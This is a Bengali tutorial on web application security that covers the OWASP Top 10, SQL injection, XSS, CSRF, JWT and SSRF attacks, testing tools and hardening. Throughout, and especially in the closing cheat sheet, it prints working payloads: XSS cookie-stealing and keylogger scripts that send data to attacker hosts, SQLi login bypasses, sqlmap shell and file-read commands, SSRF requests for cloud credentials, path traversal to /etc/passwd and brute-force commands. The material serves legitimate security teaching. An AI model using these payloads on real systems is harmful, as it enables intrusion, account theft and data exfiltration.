OWASP Top 10 সহ সম্পূর্ণ বাংলা গাইড

HTTP ব্যাসিক থেকে শুরু করে SQL Injection, XSS, CSRF, SSRF, Authentication Bypass — Web Security-তে যা যা দরকার সব এক জায়গায়।

📋 বিষয়সূচি

০১ Web Security পরিচিতি

Web Application কীভাবে কাজ করে, Client-Server Model

Frontend, Backend, Database — Attack Surface

০২ HTTP Protocol বিস্তারিত

Request/Response Structure, Methods, Status Codes

Headers, Cookies, Sessions — Security Context

০৩ OWASP Top 10 (2021) — সম্পূর্ণ

A01: Broken Access Control, A02: Cryptographic Failures

A03: Injection, A04: Insecure Design, A05: Security Misconfiguration

A06-A10: বাকি সব দুর্বলতা

০৪ SQL Injection — বিস্তারিত

In-band, Blind, Time-based SQLi

SQLmap, Manual Exploitation, Bypass Techniques

০৫ Cross-Site Scripting (XSS)

Reflected, Stored, DOM-based XSS

Payload, Cookie Steal, BeEF

০৬ Authentication ও Session Attack

Brute Force, Credential Stuffing, Session Hijacking

CSRF, JWT Attack, Password Reset Flaws

০৭ Web Hacking টুলস

Burp Suite, SQLmap, Nikto, Gobuster, FFUF

OWASP ZAP, Wfuzz, Dirb, Hydra (Web)

০৮ Web Application হার্ডেনিং

Security Headers, Input Validation, WAF

HTTPS, CSP, CORS Policy

০৯ Web Security Roadmap

শূন্য থেকে Bug Bounty Hunter পর্যন্ত

১০ Quick Cheat Sheet

সব গুরুত্বপূর্ণ payload ও কমান্ড এক জায়গায়

১১ Tools Comparison

কোন কাজে কোন টুল — পাশাপাশি তুলনা

CHAPTER 01

🌐 Web Security পরিচিতি

Web Application কীভাবে কাজ করে এবং কোথায় আক্রমণ হয়

Web Application কীভাবে কাজ করে?

একটি web application মূলত তিনটি স্তরে কাজ করে — Frontend (Browser), Backend (Server) এবং Database। প্রতিটি স্তরে আলাদা আলাদা দুর্বলতা থাকতে পারে।

```
Browser (Client)          Web Server (Backend)       Database

┌─────────────────┐       ┌──────────────────────┐   ┌──────────────┐
│                 │ HTTP  │                      │SQL│              │
│  HTML/CSS/JS    │ ────► │  PHP / Python / Node │ ► │  MySQL       │
│  (User দেখে)    │ ◄──── │  (Logic চলে)         │ ◄ │  PostgreSQL  │
│                 │Response│                     │Data│  MongoDB     │
└─────────────────┘       └──────────────────────┘   └──────────────┘

       ↑                          ↑                          ↑

XSS, CSRF              SQLi, SSRF, RCE          SQL Injection
Clickjacking            Path Traversal            Data Breach
```

Attack Surface — কোথায় আক্রমণ হয়?

🖥 Frontend

- XSS (Script Injection)
- Clickjacking
- CSRF
- DOM Manipulation

- Open Redirect

⚙ Backend

- SQL / Command Injection
- SSRF
- Path Traversal
- RCE (Remote Code Exec)
- Auth Bypass

🗄 Database

- SQL Injection
- Plain text password
- NoSQL Injection
- Sensitive data leak
- Privilege escalation

Hacker কীভাবে ভাবে?

```
Reconnaissance  →  Scanning  →  Exploitation  →  Post-Exploit

তথ্য সংগ্রহ          দুর্বলতা খোঁজা    আক্রমণ করা      Data চুরি

  whois              Nikto            SQLmap          Data dump
  subfinder          Gobuster         Burp Suite      Shell upload
  Google Dork        Nmap             Manual XSS      Pivot
  Shodan             FFUF             Hydra           Persist
```

Google Dork — তথ্য খোঁজার কৌশল

```
# Google-এ বিশেষ operator দিয়ে sensitive তথ্য খোঁজা site:target.com # শুধু target.com-এর পেজ site:target.com filetype:pdf # সব PDF ফাইল site:target.com inurl:admin # URL-এ admin আছে এমন site:target.com intitle:login # Login page site:target.com ext:php inurl:? # PHP page with parameters # ⭐ Sensitive info leak site:target.com "password" # password শব্দ আছে এমন পেজ site:target.com "DB_PASSWORD" # Database credentials inurl:".git" site:target.com # Exposed git repository filetype:env "DB_PASSWORD" # .env ফাইল expose intitle:"index of" "config" # Open directory listing
```

⚠️ গুরুত্বপূর্ণ সতর্কতা

সব কিছু শুধুমাত্র authorized environment-এ practice করো। CTF, TryHackMe, HackTheBox, নিজের lab — এর বাইরে কোনো real website-এ test করা illegal।

🎯 সারসংক্ষেপ

- ✅ Web app = Frontend + Backend + Database — তিন জায়গাতেই দুর্বলতা থাকে
- ✅ হ্যাকার প্রথমে তথ্য সংগ্রহ করে, তারপর attack করে
- ✅ Google Dork দিয়ে অনেক sensitive তথ্য পাওয়া যায়

CHAPTER 02

🌐 HTTP Protocol বিস্তারিত

Security-র দৃষ্টিকোণ থেকে HTTP বোঝা

HTTP Request স্ট্রাকচার

```
# একটি সম্পূর্ণ HTTP Request: POST /login HTTP/1.1 # Method + Path + Version Host: target.com # কোন server-এ যাবে Content-Type: application/x-www-form-urlencoded Content-Length: 27 Cookie: session=abc123xyz # ⭐ Session cookie! User-Agent: Mozilla/5.0 ... Referer: https://target.com/login X-Forwarded-For: 192.168.1.1 # IP spoofing এখানে # (blank line) username=admin&password=1234 # Body (POST data)
```

HTTP Response স্ট্রাকচার

```
# Server থেকে Response: HTTP/1.1 200 OK # Status code Content-Type: text/html; charset=utf-8 Set-Cookie: session=xyz789; HttpOnly; Secure # Cookie set করা X-Frame-Options: DENY # Clickjacking রোধ X-XSS-Protection: 1; mode=block # XSS protection Content-Security-Policy: default-src 'self' # CSP Strict-Transport-Security: max-age=31536000 # HTTPS force Server: Apache/2.4.51 # ⚠️ Server info leak! <html>...</html> # Body
```

HTTP Methods — কোনটি কতটা বিপজ্জনক?

Method	কাজ	নিরাপত্তা ঝুঁকি	মাত্রা
GET	ডেটা পাওয়া	URL-এ data দেখা যায় (password!)	MEDIUM

Method	কাজ	নিরাপত্তা ঝুঁকি	মাত্রা
POST	ডেটা পাঠানো	CSRF আক্রমণ সম্ভব	MEDIUM
PUT	ফাইল আপলোড/আপডেট	Webshell upload সম্ভব	CRITICAL
DELETE	ডেটা মুছা	Data destruction	HIGH
OPTIONS	Allowed methods দেখা	Attack surface reveal	**LOW**
TRACE	Request echo	XST (Cross-Site Tracing)	MEDIUM

Status Codes — Security-র দৃষ্টিতে

⭐ গুরুত্বপূর্ণ Status Codes

- `200 OK` — সফল, কিছু পাওয়া গেছে
- `301/302` — Redirect (Open Redirect দেখো)
- `401` — Unauthorized (Auth লাগবে)
- `403` — Forbidden (Bypass চেষ্টা করো!)
- `404` — Not Found
- `500` — Server Error (stack trace leak সম্ভব)
- `503` — Service Unavailable (DoS?)

🎯 Pentest-এ যা খোঁজো

- `403` → 403 bypass technique চেষ্টা করো
- `500` → Error message-এ info leak?
- `200` on admin → Access control fail!
- `302` redirect → SSRF সম্ভব?

Cookies — Security Analysis

```
# ভালো Cookie (Secure): Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600 # খারাপ Cookie (Vulnerable): Set-Cookie: session=xyz789; # ⚠️ HttpOnly নেই → XSS দিয়ে চুরি! Set-Cookie: session=xyz789; Secure; # ⚠️ SameSite নেই → CSRF সম্ভব! Set-Cookie: admin=true; # ⚠️ Client-side trust → Tamper! # Cookie attributes: HttpOnly # → JS দিয়ে পড়া যাবে না (XSS থেকে রক্ষা) Secure # → শুধু HTTPS-এ যাবে SameSite # → Cross-site request রোধ (CSRF) Domain # → কোন domain-এ যাবে Path # → কোন path-এ যাবে Max-Age # → কতক্ষণ থাকবে
```

🎯 HTTP Security Key Points

- ✅ Request header-এ Cookie, Authorization দেখো → sensitive info পাবে
- ✅ Response header-এ Server version → exploit খোঁজো
- ✅ PUT, DELETE method enabled → Webshell upload সম্ভব
- ✅ Cookie-এ HttpOnly নেই → XSS দিয়ে session চুরি

CHAPTER 03

OWASP Top 10 (2021) — সম্পূর্ণ গাইড

Web Security-র সবচেয়ে বিপজ্জনক ১০টি দুর্বলতা

OWASP কী?

Open Web Application Security Project (OWASP) হলো একটি non-profit organization যারা web security নিয়ে কাজ করে। তারা প্রতি কয়েক বছর পর পর সবচেয়ে বিপজ্জনক web vulnerabilities-এর তালিকা প্রকাশ করে।

A01 Broken Access Control

অন্য user-এর data/page access করা। IDOR, privilege escalation। সবচেয়ে সাধারণ দুর্বলতা।

IDOR | PrivEsc | Path Traversal | CRITICAL

A02 Cryptographic Failures

দুর্বল encryption বা plain text-এ sensitive data। MD5, SHA1 হ্যাশ, HTTP-তে password।

Weak Hash | HTTP | HIGH

A03 Injection

SQL Injection, XSS, Command Injection, LDAP Injection। Untrusted data interpreter-এ পাঠানো হলে।

SQLi | XSS | CMDi | CRITICAL

A04 Insecure Design

Design-এর সময়ই security ভাবা হয়নি। Password reset flaw, business logic error।

Logic Flaw | Race Condition | HIGH

A05 Security Misconfiguration

Default password, open S3 bucket, verbose error, directory listing চালু।

Default Creds | Dir Listing | HIGH

A06 Vulnerable Components

পুরনো version-এর library, framework, plugin ব্যবহার। Log4Shell, Heartbleed।

CVE | Log4Shell | CRITICAL

A07 Auth & Identification Failures

Brute force, weak password, session fixation, broken password reset।

Brute Force | Session Fix | HIGH

A08 Software & Data Integrity Failures

CI/CD pipeline attack, insecure deserialization, unsigned update।

Deserialize | Supply Chain | HIGH

A09 Security Logging Failures

Attack log না রাখা। Attack ঘটে গেলে কেউ জানতে পারে না।

No Logging | No Monitoring | MEDIUM

A10 Server-Side Request Forgery (SSRF)

Server-কে দিয়ে internal network-এ request পাঠানো। Cloud metadata চুরি।

SSRF | Internal Access | CRITICAL

IDOR — Broken Access Control উদাহরণ

```
# IDOR (Insecure Direct Object Reference) — সবচেয়ে সাধারণ ভুল # ভুল: URL-এ user ID সরাসরি GET /api/user/1001/profile # তোমার account GET /api/user/1002/profile # অন্যের account! — server check করে না! # ভুল: File download GET /download?file=invoice_1001.pdf GET /download?file=invoice_1002.pdf # অন্যের invoice! # ভুল: Admin panel GET /admin/dashboard # Login করা user-ও access পায়! # Path Traversal GET /download?file=../../../etc/passwd GET /download?file=..%2F..%2F..%2Fetc%2Fpasswd # URL encoded
```

SSRF — Server-Side Request Forgery

```
# SSRF: Server-কে দিয়ে internal request পাঠানো # Normal: বাইরের URL POST /fetch-url url=https://example.com/image.png # SSRF: Internal network access url=http://localhost/admin # Internal admin panel url=http://192.168.1.1/ # Router access url=http://10.0.0.1:8080/api/secret # Internal API # ⭐ Cloud metadata — AWS url=http://169.254.169.254/latest/meta-data/ url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # → AWS Secret Key পাওয়া যায়! # SSRF bypass techniques url=http://127.0.0.1 # localhost url=http://0.0.0.0 # all interfaces url=http://[::1] # IPv6 localhost url=http://2130706433 # 127.0.0.1 decimal url=http://0177.0.0.1 # Octal
```

🔴 OWASP Top 10 মনে রাখো

- 🥇 A01 Broken Access Control — সবচেয়ে বেশি দেখা যায়, IDOR চেক করো
- 🥈 A03 Injection — SQL, XSS, Command — সব input test করো

- 🥉 A07 Auth Failures — Brute force, session attack
- ⚡ A10 SSRF — Cloud-এ সবচেয়ে বিপজ্জনক

CHAPTER 04

💉 SQL Injection — সম্পূর্ণ গাইড

Database থেকে data চুরি করার সবচেয়ে পুরনো ও শক্তিশালী পদ্ধতি

SQL Injection কীভাবে কাজ করে?

```
# Normal Query:
SELECT * FROM users WHERE username='admin' AND password='mypassword'

# Attacker-এর input: admin'--
SELECT * FROM users WHERE username='admin'--' AND password='anything'
                                          ↑ Comment! বাকি query ignore

# Result: admin হিসেবে login সফল!
```

SQLi-র ধরন

1. In-Band SQLi (সবচেয়ে সহজ)

```
# Error-based: Error message-এ DB তথ্য পাওয়া ' OR 1=1-- ' OR '1'='1 admin'-- " OR ""=" ' OR 1=1# # MySQL comment # UNION-based: Data সরাসরি বের করা # ১ম ধাপ: কলাম সংখ্যা বের করো ' ORDER BY 1-- # OK ' ORDER BY 2-- # OK ' ORDER BY 3-- # Error → 2 column! # ২য় ধাপ: Data বের করা ' UNION SELECT 1,2-- ' UNION SELECT username,password FROM users-- ' UNION SELECT table_name,2 FROM information_schema.tables-- ' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
```

2. Blind SQLi (সার্ভার কিছু দেখায় না)

```
# Boolean-based: True/False দেখে বোঝা ' AND 1=1-- # True → পেজ normal দেখাবে ' AND 1=2-- # False → পেজ ভিন্ন দেখাবে # Username-এর প্রথম অক্ষর 'a' কিনা: ' AND SUBSTRING(username,1,1)='a'-- # Time-based: দেরি দেখে বোঝা ' AND SLEEP(5)-- # MySQL '; WAITFOR DELAY '0:0:5'-- # MSSQL ' AND 1=1 AND SLEEP(5)-- # True → 5 second দেরি ' AND 1=2 AND SLEEP(5)-- # False → দেরি নেই
```

3. SQLmap — Automated Tool

```
# Basic scan sqlmap -u "http://target.com/page?id=1" # সব database বের করো sqlmap -u "http://target.com/page?id=1" --dbs # নির্দিষ্ট DB-র table sqlmap -u "http://target.com/page?id=1" -D targetdb --tables # নির্দিষ্ট table-র data sqlmap -u "http://target.com/page?id=1" -D targetdb -T users --dump # POST request sqlmap -u "http://target.com/login" --data="user=admin&pass=1234" -p user # Burp Suite-এর request ফাইল থেকে sqlmap -r request.txt --level=5 --risk=3 # WAF bypass sqlmap -u "..." --tamper=space2comment,randomcase,between # OS shell পাওয়া (যদি admin) sqlmap -u "..." --os-shell # File read sqlmap -u "..." --file-read=/etc/passwd
```

WAF Bypass Techniques

```
# Space bypass SELECT/**/username/**/FROM/**/users SELECT%09username%09FROM%09users # Tab SELECT+username+FROM+users # Plus # Case bypass SeLeCt UsErNaMe FrOm UsErS # Double encoding %27 OR 1%3D1-- # ' OR 1=1-- %2527 # Double encode # Comment bypass /*!SELECT*/ username /*!FROM*/ users # String concat 'adm'+'in' # MSSQL CONCAT('adm','in') # MySQL
```

🛡 SQLi থেকে রক্ষার উপায়

- **Prepared Statements / Parameterized Queries** — সবচেয়ে কার্যকর
- **ORM** (Django, SQLAlchemy) ব্যবহার করো
- **Input Validation** — সব input sanitize করো

- **Least Privilege** — DB user-এর permission সীমিত রাখো
- **WAF** — একটি extra layer

💉 SQL Injection মনে রাখো

- ✅ প্রথমে `'` দিয়ে test করো — error আসলে SQLi সম্ভব
- ✅ UNION-based → সরাসরি data দেখা যায়
- ✅ Blind → SLEEP() দিয়ে confirm করো
- ✅ SQLmap দিয়ে automate করো, manual-ও শেখো

CHAPTER 05

📜 Cross-Site Scripting (XSS)

Browser-কে দিয়ে malicious script চালানো

XSS কীভাবে কাজ করে?

```
Attacker                    Server                    Victim

  1. Malicious script         3. Script store/reflect      4. Victim visit করে
     inject করে ──────────►      করে ──────────────────►      page
                                                          5. Script চলে victim-এর
  6. Cookie/data ◄──────────────────────────────────────      browser-এ
     পাঠায় attacker-কে
```

XSS-এর ধরন

1. Reflected XSS

```
# URL parameter-এ script inject https://target.com/search?q=<script>alert('XSS')
</script> # Server response-এ reflect হয়: <p>Search results for:
<script>alert('XSS')</script></p> # Cookie steal payload:
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
```

2. Stored XSS (সবচেয়ে বিপজ্জনক)

```
# Comment/Post-এ script store হয় # যে কেউ page visit করলেই চলে! # ভালো payload (comment box-এ): <script> var i = new Image(); i.src = 'http://attacker.com/steal?cookie=' + document.cookie; </script> # Keylogger payload: <script> document.onkeypress = function(e) { fetch('http://attacker.com/log?k=' + e.key); } </script>
```

3. DOM-based XSS

```
# JavaScript-এই vulnerability — server involve নয় # Vulnerable code: document.getElementById('msg').innerHTML = location.hash.substring(1); # Attack URL: https://target.com/page#<img src=x onerror=alert(1)>
```

XSS Payload সংগ্রহ

```
# Basic test <script>alert(1)</script> <script>alert(document.cookie)</script> <script>alert(document.domain)</script> # Image tag <img src=x onerror=alert(1)> <img src=x onerror="document.location='http://attacker.com?c='+document.cookie"> # SVG <svg onload=alert(1)> # Filter bypass <SCRIPT>alert(1)</SCRIPT> # Case <scr<script>ipt>alert(1) # Nested (filter naïve) <script>alert(1)</script> # HTML encode javascript:alert(1) # href XSS # CSP bypass (CDN-hosted) <script src="https://cdnjs.cloudflare.com/..."></script> # Cookie steal (all-in-one) <script>fetch('https://attacker.com/?x='+btoa(document.cookie))</script>
```

XSS দিয়ে কী করা যায়?

💀 **আক্রমণ**

- Session cookie চুরি → Account hijack
- Keylogger (password চুরি)
- Phishing form (fake login)
- Webcam/Mic access (permission থাকলে)

- BeEF framework → Browser hook
- CSRF attack (victim-এর account দিয়ে)

🛡️ প্রতিরোধ

- Output Encoding (`htmlspecialchars()`)
- Content Security Policy (CSP)
- HttpOnly Cookie
- Input Validation
- DOMPurify library
- X-XSS-Protection header

📜 XSS মনে রাখো

- ✅ Stored XSS > Reflected XSS > DOM XSS (বিপদের মাত্রায়)
- ✅ প্রথমে `alert(1)` দিয়ে test করো
- ✅ Cookie-তে HttpOnly না থাকলে → session চুরি করা যাবে
- ✅ XSS Payloads list: PayloadAllTheThings GitHub

CHAPTER 06

🔐 Authentication ও Session Attack

Login bypass, session hijack, CSRF, JWT attack

Brute Force & Credential Stuffing

```
# Hydra — HTTP Login Brute Force hydra -l admin -P rockyou.txt target.com http-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials" # Hydra — HTTP Basic Auth hydra -l admin -P rockyou.txt http-get://target.com/admin # FFUF — HTTP Brute Force (faster) ffuf -u https://target.com/login -X POST \ -d "username=admin&password=FUZZ" \ -w rockyou.txt -fc 401 # Credential Stuffing — leaked password list # Tool: Sniffer, Burp Intruder # Default credentials চেক করো: admin:admin, admin:password, admin:1234, root:root admin:admin123, test:test, guest:guest
```

CSRF — Cross-Site Request Forgery

```
# Victim-এর browser দিয়ে request পাঠানো # Example: Bank transfer # Vulnerable endpoint: POST /transfer amount=1000&to_account=victim_account # CSRF attack: Attacker-এর website-এ: <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000"> <input type="hidden" name="to_account" value="attacker_account"> </form> <script>document.forms[0].submit();</script> # Victim যদি bank-এ login থাকে → transfer হয়ে যাবে! # Image tag CSRF (GET request): <img src="https://bank.com/transfer?to=attacker&amount=10000">
```

JWT Attack

```
# JWT structure: header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIG # Decode করো: echo
"eyJ1c2VyIjoiYWRtaW4ifQ==" | base64 -d # {"user":"admin"} # ⭐ Attack 1: Algorithm
None # Header-এ alg: "none" দিলে signature verify হয় না {"alg":"none","typ":"JWT"}
{"user":"admin","role":"superadmin"} # Signature blank রাখো! # ⭐ Attack 2: Weak
Secret Brute Force hashcat -a 0 -m 16500 jwt.txt rockyou.txt john jwt.txt --
wordlist=rockyou.txt --format=HMAC-SHA256 # ⭐ Attack 3: RS256 → HS256 # Public
key দিয়ে HMAC sign করা # Tool: jwt_tool python3 jwt_tool.py TOKEN -X a # alg:none
attack python3 jwt_tool.py TOKEN -C -d rockyou.txt # crack
```

Session Hijacking & Fixation

```
# Session Hijacking: Cookie চুরি করে অন্যের account # XSS দিয়ে cookie চুরি:
<script>document.location='http://attacker.com/?c='+document.cookie</script> #
তারপর cookie set করে access: # Browser console-এ: document.cookie =
"session=STOLEN_SESSION_ID"; # Session Fixation: # Attacker known session ID দেয়:
https://target.com/login?session=FIXED_SESSION_ID # Victim login করলে → attacker
সেই ID দিয়ে access পায় # Password Reset Attack: # Predictable token?
https://target.com/reset?token=123456 # Brute force! https://target.com/reset?
token=MD5(email+timestamp) # Guessable!
```

🔐 Auth Attack মনে রাখো

- ✅ CSRF token না থাকলে → CSRF attack সম্ভব
- ✅ JWT-তে `alg:none` সবসময় test করো
- ✅ Password reset token predictable কিনা দেখো
- ✅ Rate limiting না থাকলে → Brute force!

CHAPTER 07

🔧 Web Hacking টুলস

সেরা টুলগুলো কীভাবে ব্যবহার করবে

Burp Suite — সবচেয়ে গুরুত্বপূর্ণ টুল

💡 Burp Suite কী?

Burp Suite হলো একটি web security testing platform। এটি Browser ও Server-এর মাঝে proxy হিসেবে বসে সব request/response intercept, modify ও replay করতে পারে।

```
# Setup: # 1. Burp Suite চালু করো → Proxy → Listen on 127.0.0.1:8080 # 2. Browser proxy: 127.0.0.1:8080 # 3. http://burp → CA certificate install করো # Intercept করা request-এ Right-click → Send to: → Repeater: request বারবার পাঠাও, response দেখো → Intruder: Brute force / fuzzing (parameter attack) → Scanner: Automated vulnerability scan (Pro only) → Decoder: Base64/URL encode/decode → Comparer: দুটো response তুলনা করো → Sequencer: Session token randomness check # Intruder Attack Types: Sniper: এক position, এক wordlist Battering ram: সব position, একই value Pitchfork: প্রতিটি position-এর আলাদা wordlist (credential stuffing) Cluster bomb: সব combination (brute force)
```

Gobuster / FFUF — Directory Bruteforce

```
# Gobuster gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt gobuster dns -d target.com -w subdomains.txt # Subdomain gobuster vhost -u http://target.com -w vhosts.txt # VHost # FFUF — আরও শক্তিশালী ffuf -u http://target.com/FUZZ -w wordlist.txt ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt ffuf -u
```

```
http://target.com/FUZZ -w wordlist.txt -fc 404 # 404 বাদ ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302 # Subdomain fuzzing ffuf -u http://FUZZ.target.com -w subdomains.txt -H "Host: FUZZ.target.com" # Parameter fuzzing ffuf -u http://target.com/page?FUZZ=value -w params.txt
```

Nikto — Web Vulnerability Scanner

```
# Basic scan nikto -h http://target.com # HTTPS nikto -h https://target.com -ssl # Specific port nikto -h target.com -port 8080 # Output সেভ করো nikto -h target.com -output nikto_report.txt # Nikto কী খোঁজে: → Outdated server software → Default files (robots.txt, .htaccess) → Dangerous HTTP methods (PUT, DELETE) → Missing security headers → XSS, SQLi basic checks
```

WhatWeb / Wappalyzer — Technology Fingerprinting

```
# WhatWeb — CLI whatweb target.com whatweb -v target.com # Verbose whatweb -a 3 target.com # Aggression level # Response থেকে technology বের করো: curl -I http://target.com | grep -i "server\|x-powered-by\|x-generator" # Example output: Server: Apache/2.4.29 (Ubuntu) # ← CVE search করো! X-Powered-By: PHP/7.2.24 # ← PHP vulnerability X-Generator: WordPress 5.8 # ← wpscan চালাও # WPScan — WordPress wpscan --url http://target.com wpscan --url http://target.com --enumerate u # Users wpscan --url http://target.com --enumerate p # Plugins wpscan --url http://target.com -P rockyou.txt -U admin # BF
```

🔧 Tools মনে রাখো

- 🎯 Burp Suite → সব web attack-এর কেন্দ্র
- 🔍 Gobuster/FFUF → hidden file ও directory
- 🔎 Nikto → automated vulnerability scan

- 🏷️ WhatWeb → technology stack জানো, তারপর CVE খোঁজো

CHAPTER 08

Web Application হার্ডেনিং

Web application secure করার সম্পূর্ণ গাইড

Security Headers — সবচেয়ে সহজ সুরক্ষা

```
# Apache-এ security headers (add করো .htaccess বা httpd.conf-এ) # Clickjacking রোধ
Header always set X-Frame-Options "DENY" # MIME type sniffing রোধ Header always
set X-Content-Type-Options "nosniff" # XSS Protection Header always set X-XSS-
Protection "1; mode=block" # ⭐ HTTPS force (HSTS) Header always set Strict-
Transport-Security "max-age=31536000; includeSubDomains" # ⭐ Content Security
Policy (CSP) — XSS রোধে সেরা Header always set Content-Security-Policy "default-src
'self'; script-src 'self'; style-src 'self'" # Referrer Policy Header always set
Referrer-Policy "strict-origin-when-cross-origin" # Permissions Policy Header
always set Permissions-Policy "geolocation=(), microphone=(), camera=()" # Server
info লুকাও ServerTokens Prod ServerSignature Off
```

Input Validation & Output Encoding

```
# PHP — SQLi রোধ (Prepared Statement) $stmt = $pdo->prepare("SELECT * FROM users
WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]); #
❌ ভুল (vulnerable): $query = "SELECT * FROM users WHERE username = '$username'";
# PHP — XSS রোধ (Output Encoding) echo htmlspecialchars($userInput, ENT_QUOTES,
'UTF-8'); # Python (Django) — Built-in protection # Django ORM automatically uses
parameterized queries User.objects.filter(username=username) # Safe! # Templates
auto-escape by default # CSRF token (Django): {% csrf_token %} # Template-এ
```

Security Checklist

বিষয়	কী করতে হবে	গুরুত্ব
SQL Injection	Prepared Statements, ORM	CRITICAL
XSS	Output encoding, CSP, HttpOnly cookie	CRITICAL
CSRF	CSRF token, SameSite cookie	HIGH
Authentication	Strong password, MFA, rate limiting	CRITICAL
HTTPS	TLS 1.2+, HSTS header	CRITICAL
Session	HttpOnly, Secure, SameSite, short expiry	HIGH
Access Control	Check authorization server-side	CRITICAL
Error Handling	Generic errors, no stack trace	MEDIUM
Dependencies	Update regularly, use Snyk/Dependabot	HIGH
Logging	Log all auth events, anomalies	MEDIUM

🛡️ Hardening সারসংক্ষেপ

- ✅ Prepared Statement — SQLi-র বিরুদ্ধে সেরা
- ✅ CSP Header — XSS ব্লক করার সেরা উপায়
- ✅ CSRF Token সব POST request-এ
- ✅ HTTPS + HSTS — সব সময় চালু রাখো
- ✅ Server-side access control — client কখনো trust করো না

CHAPTER 09

🗺️ Web Security Roadmap

শূন্য থেকে Bug Bounty Hunter হওয়ার সম্পূর্ণ পথ

💡 Bug Bounty কী?

Company-গুলো তাদের website-এ vulnerability খুঁজে দেওয়ার জন্য অর্থ পুরস্কার দেয়। HackerOne, Bugcrowd — এই platform-গুলোতে legal হ্যাকিং করে টাকা আয় করা যায়।

1

🌐 Phase 1 — Web ভিত্তি 1-2 মাস

HTTP, HTML, JavaScript, Database — না জানলে web security বোঝা কঠিন।

HTTP Basics | HTML/JS Basics | SQL Basics | Linux Command Line | Browser DevTools

↓

2

💉 Phase 2 — Core Vulnerabilities 2-3 মাস

OWASP Top 10 হাতে-কলমে শেখো। PortSwigger Web Academy বিনামূল্যে।

SQL Injection | XSS | CSRF | IDOR | SSRF | Auth Bypass

↓

3

🔧 Phase 3 — Tools Mastery 1-2 মাস

Burp Suite, SQLmap, Gobuster — এগুলো ছাড়া web hacking অসম্পূর্ণ।

Burp Suite Pro | SQLmap | FFUF/Gobuster | Nikto | WPScan | Nmap

↓

4

🏋 Phase 4 — Practice (CTF & Labs) চলমান

শুধু পড়লে হবে না — হাতে-কলমে করতে হবে।

PortSwigger Academy | TryHackMe Web Path | HackTheBox Web | DVWA (local lab) | PicoCTF Web

↓

5

💰 Phase 5 — Bug Bounty শুরু চলমান

Real program-এ report করো। প্রথমে small scope, public program থেকে শুরু।

HackerOne | Bugcrowd | Intigriti | Write Reports | Hall of Fame

🏋 Practice Lab Setup

```
# DVWA (Damn Vulnerable Web Application) — Local Lab docker run -d -p 80:80 vulnerables/web-dvwa # → http://localhost/DVWA/ # Default: admin/password # OWASP WebGoat — Complete course docker run -d -p 8080:8080 webgoat/goat-and-wolf # → http://localhost:8080/WebGoat # Juice Shop (OWASP) — Modern vulnerable app docker run -d -p 3000:3000 bkimminich/juice-shop # → http://localhost:3000 # bWAPP — buggy web app docker run -d -p 8025:80 raesene/bwapp # → http://localhost:8025/install.php
```

🗺 Roadmap সারসংক্ষেপ

- ✅ Phase 1 → HTML, HTTP, JS, SQL শেখো
- ✅ Phase 2 → OWASP Top 10 সব শেখো
- ✅ Phase 3 → Burp Suite ভালো করে শেখো
- ✅ Phase 4 → PortSwigger Academy সব lab complete করো

- ✅ Phase 5 → HackerOne -এ প্রথম report করো

CHAPTER 10

📋 Quick Cheat Sheet — দ্রুত রেফারেন্স

সবচেয়ে বেশি ব্যবহৃত payload ও কমান্ড একনজরে

💉 SQL Injection Payload

🔑 Auth Bypass

`admin'--`	সবচেয়ে সাধারণ
`' OR 1=1--`	Always true
`' OR '1'='1`	String comparison
`admin'#`	MySQL comment
`') OR ('1'='1`	Parenthesis close

📊 UNION Attack

`' ORDER BY 1--`	Column count
`' UNION SELECT null--`	Null test
`' UNION SELECT 1,2,3--`	Position check
`' UNION SELECT user(),2--`	DB user
`' UNION SELECT @@version,2--`	DB version

📜 XSS Payloads

🧪 Basic Test

`<script>alert(1)</script>`	Basic
`<img src=x onerror=alert(1)>`	Image error
`<svg onload=alert(1)>`	SVG
`javascript:alert(1)`	href XSS
`<SCRIPT>alert(1)</SCRIPT>`	Case bypass

🍪 Cookie Steal

`<script>fetch('//x.com?c='+document.cookie)</script>`	Fetch
`<img src=x onerror="location='//x.com?c='+document.cookie">`	Image
`document.location='//x.com?c='+btoa(document.cookie)`	Base64

🔍 Recon Commands

🌐 Information Gathering

`whois target.com`	Domain info
`dig target.com ANY`	DNS records
`subfinder -d target.com`	Subdomains
`whatweb target.com`	Tech stack
`curl -I http://target.com`	Headers

📂 Directory Scan

`gobuster dir -u URL -w wordlist`	Gobuster
`ffuf -u URL/FUZZ -w wordlist`	FFUF
`nikto -h target.com`	Vuln scan
`wpscan --url URL`	WordPress
`nmap -sV -p 80,443,8080 IP`	Port scan

🔐 Auth Attack Commands

🔒 Brute Force

`hydra -l admin -P rockyou.txt target.com http-post-form "/login:u=^USER^&p=^PASS^:Invalid"`	Hydra POST
`ffuf -u URL -X POST -d "user=FUZZ&pass=FUZZ2" -w list`	FFUF BF

📄 JWT

`echo "payload" | base64 -d`	Decode
`python3 jwt_tool.py TOKEN -X a`	Alg:none
`hashcat -m 16500 jwt.txt rockyou.txt`	Secret crack
`jwt.io`	Online decode

🌐 SSRF Payloads

```
url=http://127.0.0.1/admin # localhost url=http://169.254.169.254/latest/meta-data/ # AWS metadata url=http://[::1]/admin # IPv6 url=http://0.0.0.0:8080/ # all interfaces url=http://2130706433/ # 127.0.0.1 decimal url=file:///etc/passwd # File read url=gopher://127.0.0.1:25/MAIL # Gopher protocol
```

📂 Path Traversal Payloads

```
../../../etc/passwd ..%2F..%2F..%2Fetc%2Fpasswd # URL encoded ....//....//....//etc/passwd # Double dot bypass ..%252F..%252Fetc%252Fpasswd # Double encoded /etc/passwd%00.jpg # Null byte ..\/..\/..\/etc\/passwd # Mixed slash
```

📋 Cheat Sheet সারসংক্ষেপ

- 💉 SQLi → `'` দিয়ে test শুরু, তারপর UNION
- 📜 XSS → `alert(1)` দিয়ে test, cookie steal করো
